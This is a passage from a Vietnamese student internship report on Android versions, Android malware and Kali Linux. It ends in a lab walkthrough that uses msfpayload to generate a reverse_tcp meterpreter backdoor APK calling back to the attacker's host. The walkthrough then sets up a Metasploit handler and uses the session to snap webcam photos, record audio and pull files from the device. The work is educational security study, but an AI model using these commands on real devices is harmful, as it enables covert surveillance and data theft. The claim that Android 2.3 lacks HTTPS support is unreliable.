  • 22. Báo cáo thực tập GVHD: Võ Đỗ Thắng 1.5.Tỷ lệ sử dụng các phiên bản android Phần lớn các thiết bị Android cho tới nay vẫn chạy hệ điều hành phiên bản 4.1.x Jelly Bean được phát hành ngày 9 tháng 7 năm 2012 nhờ tính ổn định và hỗ trợ tốt các máy có cấu hình thấp cùng với các phiên bản 4.x khác. Bên cạnh đó các thiết bị Android vẫn còn sử dụng các phiên bản cũ hơn là 2.3 Gingerbread phát hành ngày 6 tháng 12 năm 2010. Tỷ lệ sử dụng các phiên bản khác nhau tính đến ngày 20 tháng 7 năm 2014 1.6.So sánh android 2.3 (Gingerbread) và android 4.x (4.0 – Ice Cream Sandwich): Android 2.3, tên mã là Gingerbread được phát hành vào ngày 6 tháng 12 năm 2010 và là một bản nâng cấp của Android v2.2 Froyo. Các phiên bản 2.3 được thiết kế đặc biệt cho điện thoại thông minh, nó được coi là một trong những phiên bản phổ biến nhất của Android cho điện thoại thông minh. Ngoài bố trí đã có sẵn trên Froyo, công ty cung cấp các thay đổi như giao diện người dùng được cập nhật, tăng tốc độ và sự đơn giản, hỗ trợ cho màn hình lớn hơn và độ phân giải cao, hỗ trợ cho hệ thống điện thoại SIP VOIP, bàn phím ảo nhanh hơn và trực quan hơn, chức năng sao chép dán nâng cao, hỗ trợ NFC, hiệu ứng âm thanh mới, quản lý download mới, hỗ trợ nhiều camera, hỗ trợ xem video WebM/VP8 và AAC mã hóa âm thanh, cải thiện quản lý điện năng, chuyển từ YAFFS đến ext4 trên các thiết bị mới hơn, âm thanh, đồ họa và cải tiến đầu vào cho các nhà phát triển trò chơi, đồng thời thu gom rác thải và hỗ trợ cho các cảm biến nhiều hơn. Công ty cũng vận chuyển một cập nhật nhỏ cho Gingerbread theo phiên bản 2.3.3-2.3.7. Những bản cập nhật được cung cấp tính năng mới như: hỗ trợ cho giọng nói hoặc video chat, mở cửa phụ kiện hỗ trợ thư viện, cải tiến để ứng dụng gmail, hình ảnh động bóng cho danh sách cuộn, cải tiến phần mềm máy ảnh và cải thiện hiệu quả pin. Android 4.0 Ice Cream Sandwich đã được công khai phát hành vào ngày 19 Tháng 10 năm 2011. Các Android 4.0 thật sự là một sự là một bản nâng cấp của 2.3 Gingerbread và được cung cấp một loạt các SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 22
  • 23. Báo cáo thực tập GVHD: Võ Đỗ Thắng tính năng mới. Android cũng đã có phiên bản 3.0, chỉ dành cho máy tính bảng. Phiên bản này về cơ bản là một sự kết hợp của Android 2.3.x và Android 3.x. Công ty cung cấp các tính năng cập nhật như: nút mềm, widgets, dễ dàng để tạo thư mục mới, cải thiện thư thoại trực quan, chức năng pinch-to-zoom, chụp ảnh màn hình, bàn phím được cải thiện, khả năng truy cập các ứng dụng từ lockscreen, tính năng mở khóa bằng nhận diện khuôn mặt, trình duyệt web theo thẻ, tự động đồng bộ hóa trình duyệt chrome đánh dấu, kiểu chữ mới cho giao diện người dùng, cải thiện ứng dụng máy ảnh, được xây dựng trong biên tập ảnh, bố trí bộ sưu tập mới, ứng dụng tích hợp với mạng xã hội, cập nhật trạng thái và hình ảnh hi-res, khả năng tương thích NFC, tăng tốc phần cứng, quản lý wifi và quay video 1080p 1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt Android 2.3 Android 4.0 Cần ít nhất 128 MB bộ nhớ có sẵn cho Kernel và cho không gian người sử dụng Cần ít nhất 340 MB bộ nhớ có sẵn cho kernel và cho không gian người sử dụng Dung lượng Ram tối thiểu cần thiết là 150MB Dung lượng Ram tối thiểu cần thiết là 350 MB Màn hình: - Màn hình phải có kích cỡ ít nhất 2,5 inch - Mật độ phải được ít nhất 100 dpi - Tỉ lệ màn hình từ 1.333 (4:3) đến 1,779 (16:9) - Công nghệ màn hình được sử dụng là công nghệ “ Square pixels” Màn hình: - Màn hình phải có kích cỡ ít nhất 426x320 - Mật độ phải được ít nhất 100 dpi - Tỉ lệ màn hình từ 1.333 (4:3) đến 1,85 (16:9) Yêu cầu có các phím vậy lý Không yêu cầu có có phím vật lý Các API Android bao gồm trình quản lý download các ứng dụng có thể sử dụng để tải dữ liệu.Trình quản lí download phải có khả năng tải tập tin có dung lượng ít nhất 55 MB Các API Android bao gồm trình quản lý download các ứng dụng có thể sử dụng để tải dữ liệu.Trình quản lí download phải có khả năng tải tập tin có dung lượng ít nhất 100 MB 1.6.2. Sự khác nhau về giao diện Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử dụng cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm, kéo dãn và thu lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động của người dùng diễn ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng mượt mà, thường dùng tính năng rung của thiết bị để tạo phản hồi rung cho người dùng. Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi chuyển và cảm biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động khác của ngư ời SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 23
  • 24. Báo cáo thực tập GVHD: Võ Đỗ Thắng dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế độ hiển thị ngang tùy theo vị trí của thiết bị, hoặc cho phép người dùng lái xe đua bằng xoay thiết bị, giống như đang điều khiển vô-lăng. Các thiết bị Android sau khi khởi động sẽ hiển thị màn hình chính, điểm khởi đầu với các thông tin chính trên thiết bị, tương tự như khái niệm desktop (bàn làm việc) trên máy tính để bàn. Màn hính chính Android thường gồm nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng ứng dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị những nội dung sống động, cập nhật tự động như dự báo thời tiết, hộp thư của người dùng, hoặc những mẩu tin thời sự ngay trên màn hình chính. Màn hình chính có thể gồm nhiều trang xem được bằng cách vuốt ra trước hoặc sau, mặc dù giao diện màn hình chính của Android có thể tùy chỉnh ở mức cao, cho phép người dùng tự do sắp đặt hình dáng cũng như hành vi của thiết bị theo sở thích. Những ứng dụng do các hãng thứ ba có trên Google Play và các kho ứng dụng khác còn cho phép người dùng thay đổi "chủ đề" của màn hình chính, thậm chí bắt chước hình dáng của hệ điều hành khác như Windows Phone chẳng hạn. Phần lớn những nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và hành vi của các thiết bị Android của họ để phân biệt với các hãng cạnh tranh. Ở phía trên cùng màn hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình trạng kết nối. Thanh trạng thái này có thể "kéo" xuống để xem màn hình thông báo gồm thông tin quan trọng hoặc cập nhật của các ứng dụng, như email hay tin nhắn SMS mới nhận, mà không làm gián đoạn hoặc khiến người dùng cảm thấy bất tiện. Trong các phiên bản đời đầu, người dùng có thể nhấn vào thông báo để mở ra ứng dụng tương ứng, về sau này các thông tin cập nhật được bổ sung theo tính năng, như có khả năng lập tức gọi ngược lại khi có cuộc gọi nhỡ mà không cần phải mở ứng dụng gọi điện ra. Thông báo sẽ luôn nằm đó cho đến khi người dùng đã đọc hoặc xóa nó đi. Android 2.3 Android 4.0 Giao diện đơn giản Giao diện tinh tế hơn, trong suốt và đẹp mắt hơn Chỉ hỗ trợ phím ảo là phím Home Hỗ trợ các phím ảo: Home, Back, Menu Không có widget menu Có Widget menu giúp tìm nhanh thông tin mà không cần mở ứng dụng SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 24
  • 25. Báo cáo thực tập GVHD: Võ Đỗ Thắng 1.6.3. Sự khác nhau về tính năng Android 2.3 Android 4.0 Thiết kế tối ưu hóa cho Smartphone Thiết kế tối ưu hóa cho Smartphone và Tablet Chỉ có thể xóa tất các các thông báo cùng lúc trên trình quản lý Chỉ có thể xóa riêng rẽ các thông báo cùng lúc trên trình quản lý Chỉ có thể trả lời, ngắt cuộc gọi khi màn hình bị khóa Có thể thực hiện thêm 1 số tính năng khi màn hình bị khoái ngoài trả lời , ngắt cuộc gọi như gửi tin nhắn Không có tính năng mở khóa màn hình nhận diện khuôn mặt Có tính năng mở khóa màn hình nhận diện khuôn mặt Không hỗ trợ chỉnh sửa hình ảnh Hỗ trợ chỉnh sửa hình ảnh , tự động nhận diện được tất cả các camera trên thiết bị 1.6.4. Sự khác nhau về giao thức mạng Android 2.3 Android 4.0 Không hỗ trợ giao thức https Hỗ trợ giao thức https SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 25
  • 26. Báo cáo thực tập GVHD: Võ Đỗ Thắng 2. Nghiên cứu về mã độc trong mỗi trường android 2.1.Malware là gì? Malware (phần mềm độc hại) viết tắt của cụm từ Malicious Sofware, là một phần mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc và thay đổi các thực thi của hệ điều hành cũng như các chương trình ứng dụng mà không có sự cho phép của người dùng và bằng một cách nào đó mà người dùng nếu không để ý cũng không thể phát hiện được những thay đổi đó. Hình 1. Phần mềm độc hại đã xuất hiện từ rất lâu trên những hệ điều hành máy tính như Windows, các máy tính MAC và Linux (ở một mức độ thấp hơn), và bây giờ nó đã trở thành một mối nguy hại không nhỏ cho các thiết bị di động chạy Android. Sự có mặt của Android khiến cho các phần mềm độc hại thêm phần thích thú, tích cực tấn công hơn tới đông đảo người dùng Android. Nói về vấn đề này, Timothy Armstrong, một chuyên gia bảo mật tại Kaspersky Lab, cho biết: “Malware trên Android được phát hiện nhiều hơn hầu như mỗi ngày. Thời gian gần đây, chúng tôi đã phát hiện ra ba nhà phát triển ứng dụng (mà có khi là từ cùng 1 người) với tên gọi MYOURNET, Kingmall2010, we20092020 đã cung cấp các ứng dụng để tải về miễn phí trên Android Market, mà hầu hết các ứng dụng đó đều chứa mã độc”. Hình 2. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 26
  • 27. Báo cáo thực tập GVHD: Võ Đỗ Thắng Năm 2012 là năm thứ hai cho thấy sự bùng nổ của phần mềm độc hại cho Android. Từ tám chương trình độc hại duy nhất vào tháng 1 năm 2011, tỷ lệ phát hiện trung bình hàng tháng phần mềm độc hại mới tấn công vào Android trong năm 2011 đã lên đến hơn 800 mẫu. Trong năm 2012, Kaspersky Lab đã xác định trung bình 6.300 mẫu phần mềm độc hại trên thiết bị di động mới mỗi tháng. Nhìn chung, trong năm 2012 số lượng mẫu độc hại cho Android được biết đến nhiều tăng hơn tám lần. 2.2.Phân loại Đa số các phần mềm độc hại Android có thể được chia thành ba nhóm chính dựa theo chức năng: - SMS Trojans: bòn rút tài khoản di động của các nạn nhân bằng cách gửi tin nhắn SMS đến các số điện thoại được đánh giá cao. - Backdoors: cung cấp truy cập trái phép vào smartphone, cài đặt các chương trình độc hại khác hoặc ăn cắp dữ liệu cá nhân của người dùng. - Cuối cùng là các phần mềm gián điệp nhằm mục tiêu thu thập trái phép dữ liệu cá nhân, chẳng hạn như sổ địa chỉ và mật khẩu (hoặc thậm chí hình ảnh cá nhân). Trong nửa đầu năm 2012, Backdoors, tin nhắn SMS, Trojans và phần mềm gián điệp chiếm 51% các phần mềm độc hại cho Android mới được phát hiện. Trong bảng xếp hạng Top Ten phần mềm độc hại cho Android đã bị chặn bởi Kaspersky Mobile Security hoặc Kaspersky Tablet Security, SMS Trojans là phổ biến nhất và các ứng dụng hiển thị quảng cáo không mong muốn cho người sử dụng ở vị trí thứ hai. Ít phổ biến rộng rãi nhưng nguy hiểm nhất là Trojans ngân hàng trên di động thường xuyên làm việc kết hợp với các máy tính để bàn, ví dụ như Carberp. Nền tảng Android cho phép cài đặt phần mềm từ các nguồn không tin cậy, và là một trong những cách tốt nhất để đảm bảo sự lây nhiễm từ việc cài đặt các chương trình từ những trang web đáng ngờ. Tuy nhiên, phần mềm độc hại trên nền tảng phân phối ứng dụng chính thức Google Play là một xu hướng bắt đầu vào năm 2011 và tiếp tục trong năm 2012, bất chấp những nỗ lực tốt nhất của Google để làm giảm hoạt động tội phạm mạng. Một trong những ví dụ “khác thường” nhất của phần mềm độc hại trên di động trong năm 2012 là "Find and Call", ứng dụng đã len lỏi được vào Google Play cũng như kho ứng dụng của Apple. 2.3.Cơ chế hoạt động của Malware Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là Malware DroidDream. Malware này hoạt động qua 2 giai đoạn: Giai đoạn đầu: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên. Giai đoạn 2: Tự động cài đặt một ứng dụng thứ 2 với một giấy phép đặc biệt cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác. Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép. Nghiên cứu cài đặt HĐH Android trên các thiết bị laptop, smartphone.Không giống như giai đoạn đầu, người dùng phải khởi động ứng dụng để bắt đầu việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 27
  • 28. Báo cáo thực tập GVHD: Võ Đỗ Thắng động làm một số việc như là confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động lúc nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của mình. 2.4.Mục đích của Malware DroidDream DroidDream được coi là một trong những Malware đầu tiên trên Android, mục đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại của người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các biến thể của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví dụ như Hippo SMS có khả năng tự gửi tin nhắn mà không cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí của người dùng tăng lên một cách chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc một Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành động liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và chuyển tới máy chủ. Các đoạn code dùng 1 lần mà các ngân hàng thường gử i tới khách hàng thông qua tin nhắn SMS để chứng thực sẽ bị thu thập bởi các malware này. Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe dọa đến an sự an toàn của người dùng hệ điều hành này. 2.5.Dấu hiệu bị nhiễm các phần mềm độc hại Cũng giống như trên máy tính, khi bị nhiễm malware, thiết bị Android của bạn sẽ có một số hành động khác thường và bạn không thể thay đổi được bất kỳ điều gì. - Sử dụng dữ liệu không rõ ràng: có rất nhiều phần mềm độc hại tồn tại để thu thập dữ liệu về tài khoản, số thẻ tín dụng, danh bạ, vv... Một khi có được các thông tin này, nó sẽ tự động được chuyển tiếp về cho người đã tạo ra nó. Và trong nhiều trường hợp, việc chuyển giao thông tin này sẽ dẫn đến sự khác lạ trong sử dụng dữ liệu. - Hiệu suất của thiết bị kém: tùy thuộc vào thời gian sử dụng và mức độ nghiêm trọng của việc lây nhiễm mà hiệu suất điện thoại của bạn sẽ bị giảm đi nhiều hay ít, đặc biệt là khi bạn đã khởi động lại thiết bị mà các vấn đề không được giảm bớt. - Thời lượng pin bị giảm: do hầu hết các phần mềm độc hại đều được thiết kế để chạy nền trong hệ thống, nên nó sẽ làm sụt giảm đáng kể thời lượng pin trên thiết bị của bạn. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 28
  • 29. Báo cáo thực tập GVHD: Võ Đỗ Thắng 3. Xâm nhập android qua mạng local 3.1.Giới thiệu về Kali Linux Trong những năm qua BackTrack là hệ điều hành được sử dụng nhiều nhất bởi các chuyên gia đánh giá bảo mật. BackTrack bắt đầu xuất hiện vào năm 2006 và trong 7 năm qua nó đã không ngừng cải tiến để đạt được một vị trí nhất định trong cộng đồng bảo mật trên khắp toàn thế giới. Vì vậy, ngày nay thật khó để tìm thấy một người nào đó quan tâm đến an toàn thông tin mà chưa từng nghe về BackTrack. Tháng 3 năm 2013, Offensive Security đã tiến thêm một bước mới khi công bố phiên bản tiến hóa của hệ điều hành BackTrack, tên của nó là Kali (được xem như phiên bản BackTrack 6), Kali là tên nữ thần của người Hindu, hàm ý sự biến đổi và khả năng hủy diệt hay có lẽ là tên một môn võ thuật của người Philippine ... Để qua một bên chuyện tên với tuổi, Kali Linux là một OS rất hữu ích đối với những chuyên gia đánh giá bảo mật, một OS tập hợp và phân loại gần như tất cả các công cụ thiết yếu mà bất kỳ một chuyên gia đánh giá bảo mật nào cũng cần sử dụng đến khi tác nghiệp. - Ưu điểm và Nhược điểm: Đối với những người chưa biết BackTrack, nói một cách ngắn gọn BackTrack là một bản phân phối Linux dựa trên nền tảng hệ điều hành Ubuntu, với nhiều công cụ bảo mật được phân loại rõ ràng để sử dụng. 3.1.1. Kali phát triển trên nền tảng hệ điều hành Debian Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ dàng có được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository. Duy trì cập nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu vô cùng quan trọng. Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt cấu trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong việc xem xét hoặc thay đổi mã nguồn của các công cụ. Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. 3.1.2. Hỗ trợ mạng không dây tốt hơn Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không dây hay USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện đánh giá mạng không dây. 3.1.3. Khả năng tùy biến cao Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops như GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 29
  • 30. Báo cáo thực tập GVHD: Võ Đỗ Thắng 3.1.4. Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì chúng ta đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3 năm ngoái). Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali đã dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người dùng không phải cài lại mới hoàn toàn nữa. 3.2.Cài đặt Kali Linux Trước tiên ta phải vào trang http://www.kali.org/downloads/ để download file ISO phiên bản mới nhất về Hình 3. Sau đó, ta bắt đầu cài cặt theo các bước bên dưới: Hình 4. Hình 5. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 30
  • 31. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 6. Hình 7. Hình 8. Hình 9. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 31
  • 32. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 10. Hình 11. Hình 12. Hình 13. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 32
  • 33. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 14. Hình 15. Hình 16. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 33
  • 34. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 17. Hình 18. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 34
  • 35. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 19. Hình 20. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 35
  • 36. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 21. Hình 22. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 36
  • 37. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 23. Hình 24. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 37
  • 38. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 25. Hình 26. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 38
  • 39. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 27. Hình 28. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 39
  • 40. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 29. 3.3.Metasploit framework trong Kali linux 3.3.1. Giới thiệu Metasploit framework là một framework mã nguồn mở phát triển nhằm sử dụng các shellcode (payload) để tấn công máy có lỗ hổng. Cùng với một số bộ công cụ bảo mật khác. Metasploit có cơ sở dữ liệu chứa hàng ngàn shellcode, hàng ngàn exploit của các hệ điều hành, các chương trình hay dịch vụ. Trong quá trình phát triển metasploit liên tục cập nhật các exploit... nên càng ngày nó càng trở thành một bộ công cụ mạnh mẽ. Metasploit framework là một bộ dự án sinh ra để kiểm tra độ an toàn, nhưng đối với những hacker thì nó thực sự là một công cụ vô cùng hữu ích (dùng để kiểm tra, khai thác lỗi, exploit…) 3.3.2. Sử dụng metasploit framework 3.3.2.1.Chọn module exploit: lựa chọn chương trình, dịch vụ lỗi mà metasploit có hỗ trợ để khai thác Muốn chọn ta có thể dùng lệnh "show exploits" để hiện ra tất cả các exploit mà metasploit framework có hỗ trợ. Để dùng exploit nào đó ta dùng câu lệnh "use name_exploit" .Trong đó tham số name_exploit là tên của exploit đc metasploit hỗ trợ. Để biết thêm các thông tin về exploit mà ta đã chọn có thể dùng lệnh "info name_exploit". SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 40
  • 41. Báo cáo thực tập GVHD: Võ Đỗ Thắng Ví dụ: mình sử dụng một exploit sau khi đã liệt kê ra sẽ là: use windows/manage/add_user_domain 3.3.2.2.Cấu hình module exploit đã chọn Sau khi đã chọn một exploit với command use, việc tiếp theo là cấu hình các options mà exploit này yêu cầu. Để rõ hơn exploit này nó yêu cầu cấu hình như thế nào, phải cấu hình những gì, ta sử dụng lệnh "show options". Khi sử dụng lệnh show option ta thường nhận đc một bảng gồm các cột như sau: Name--------------Current Setting----------------Required---------------Description Trong đó, ở cột required nếu giá trị là "yes" thì ta phải set giá trị cho tham số này, còn nếu là "no" thì ta có thể set hoặc không. Quan trọng phải xem một số nó đã cấu hình mặc định cho rồi có thích hợp với chúng ta hay không. Ta dùng lệnh “set” để cấu hình những options của module đó. Ngoài ra nó còn có thêm một số options khác, dùng "show advanced", "show evasion" để xem. Sau khi cấu hình xong ta cần kiểm tra xem việc cấu hình đã đúng hay chưa. Để kiểm tra việc cấu hình ta dùng lệnh "check" để xem mục tiêu có bị tấn công được hay không. Đây là một cách nhanh để ta kiểm tra xem việt cấu hình các options bằng lệnh set có đúng hay không và mục tiêu thực sự có lỗ hổng để khai thác được hay không. Nhưng không phải tất cả các exploit đều thực sự có thể kiểm tra được bằng việc sự dụng lệnh check. Đôi khi ta phải thực sự exploit nó mới biết được. 3.3.2.3.Lựa chọn payload Payload là một đoạn code đc chạy trên máy victim, dùng để thực hiện một số họat động nào đó, hoặc dùng để kết nối về máy của hacker. Vậy làm sao để có cái payload này trên máy của victim? Có 2 phương pháp chủ yếu được dùng. Đó là gửi cho victim thông qua việc phân tính một lỗi, lỗ hổng nào đó trên hệ thống victim, từ đó đột nhập và đưa đoạn payload này vào máy victim. Kiểu thứ 2 là gửi trực tiếp cho victim, chờ đợi victim sơ ý nhận nó. Để hiện thị các payloads tích hợp cho exploit hiện tại chúng ta đang dùng, ta dùng lệnh "show payloads". Tương ứng với mỗi OS khác nhau ta dùng một payload khác nhau, và phương pháp cũng khác nhau. Các giao thức dùng cũng khác nhau... Nhìn chung đối với payload có thể phân ra làm 2 loại cơ bản đó là bind payload và reverse payload. Khi nào ta dùng loại nào? Đây cũng là một vấn đề quan trọng. Nếu như máy của chúng ta (đóng vai trò là hacker) đứng sau một tường lửa, thì lúc này ta nên dùng bind payload. Mở một port trên máy tính và kết nối trực tiếp từ máy hacker đến máy victim. Còn nếu như victim đứng sau một tường lửa, còn chúng ta thì không. Khi đó chúng ta dùng reverse payload để connect ngược từ máy victim về máy chúng ta. Như vậy cho thấy khi tấn công mục tiêu, ta phải tìm hiểu rõ ràng về mục tiêu, tìm kiếm tất cả các thông tin có thể có. Dựa vào đó mà ta chọn cách thích hợp. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 41
  • 42. Báo cáo thực tập GVHD: Võ Đỗ Thắng Khi ta quyết định chọn một payload nào đó, dùng lệnh "set PAYLOAD name_payload" để chọn payload cần dùng. Giả sử muốn dùng payload windows/meterpreter/reverse_ord_tcp thì ta thao tác là: set PAYLOAD windows/meterpreter/reverse_ord_tcp Ta nhận đc là: PAYLOAD => windows/meterpreter/reverse_ord_tcp Tượng tự để xem rõ thông tin, options về payload ta có thể dùng các lệnh như "show options ", "info name_payload" ,"show advanced",… Sau khi thực hiện tất cả các thiết lập xong thì ta dùng lệnh "exploit" để xem kết quả. 3.4.Tấn công android dùng Metasploit Framework trong Kali Linux Trước tiên chúng ta sẽ tạo ra một backdoor bằng cách dùng lệnh: msfpayload android/meterpreter/reverse_tcp lhost=192.168.159.128 lport=8080 R > /root/Desktop/app.apk Hình 30. Trong đó 192.168.159.128 là địa chỉ ip của máy Kali.Chúng ta có thể xem nó bằng cách dùng lệnh: ifconfig SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 42
  • 43. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 31. Và đây là file app.apk mà chúng ta vừa tạo Hình 32. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 43
  • 44. Báo cáo thực tập GVHD: Võ Đỗ Thắng Tiếp theo chúng ta mở metasploit bằng cách dùng lệnh: msfconsole Hình 33. Chúng ta cài đặt các thông số cần thiết use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.159.128 set lport 8080 Với lhost và lport giống với khi chúng ta tạo file app.apk SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 44
  • 45. Báo cáo thực tập GVHD: Võ Đỗ Thắng Hình 34. Ta mở một cái android ảo và tải về file app.apk, cài đặt và mở lên được giao diện như dưới, nhấp vào nút Reverse_tcp: Hình 35. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 45
  • 46. Báo cáo thực tập GVHD: Võ Đỗ Thắng Vậy là ta đã kết nối thành công tới máy android này, ở msfconsole sẽ như sau: Hình 36. Để xem thông tin về máy, nhập lệnh sysinfo - Sử dụng camera: Để xem danh sách camera, nhập webcam_list Hình 37. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 46
  • 47. Báo cáo thực tập GVHD: Võ Đỗ Thắng Để chụp hình bằng camera, nhập webcam_snap a với a là id của camera xem ở danh sách camera ở phần trước. Ví dụ như sau: Hình 38. - Ghi âm Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy Hình 39. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 47
  • 48. Báo cáo thực tập GVHD: Võ Đỗ Thắng - Lấy file từ sd card Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư mục Hình 40. Ta tải file app.apk trong thư mục Download của sdcard Dùng lệnh cd /sdcard/Download để vào thư mục Hình 41. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 48
  • 49. Báo cáo thực tập GVHD: Võ Đỗ Thắng Như trên hình, ta thấy 1 file là app.apk, để tải về máy, ta nhập lệnh download app.apk Hình 42. Và file này sẽ được tải về thư mục root của máy Kali 4. Thực hiện xâm nhập android thông qua mạng Internet 4.1.Giới thiệu về VPS 4.1.1. VPS là gì? Máy chủ ảo (Virtual Private Server -VPS) là phương pháp phân chia một máy chủ vật lý thành nhiều máy chủ ảo. Trong khi trên một server chạy một Share Host thì có thể có hàng trăm tài khoản chạy cùng lúc, nhưng trên server chạy VPS thì con số này chỉ bằng 1/10. Do vậy, VPS có hiệu năng cao hơn Share Host rất nhiều. Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có toàn quyền quản lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy, VPS hạn chế 100% khả năng bị hack local. Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung tài nguyên server, nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh hưởng đến các Website khác cùng server, riêng server VPS, một tài khoản trên VPS bị tấn công thì mọi tài khoản khác trên VPS đều hoạt động bình thường. VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã nguồn nặng, nếu chạy trên Share Host sẽ không đáp ứng đủ yêu cầu.Tuy nhiên, VPS đòi hỏi người sử dụng phải có thêm một số kiến thức về bảo mật, 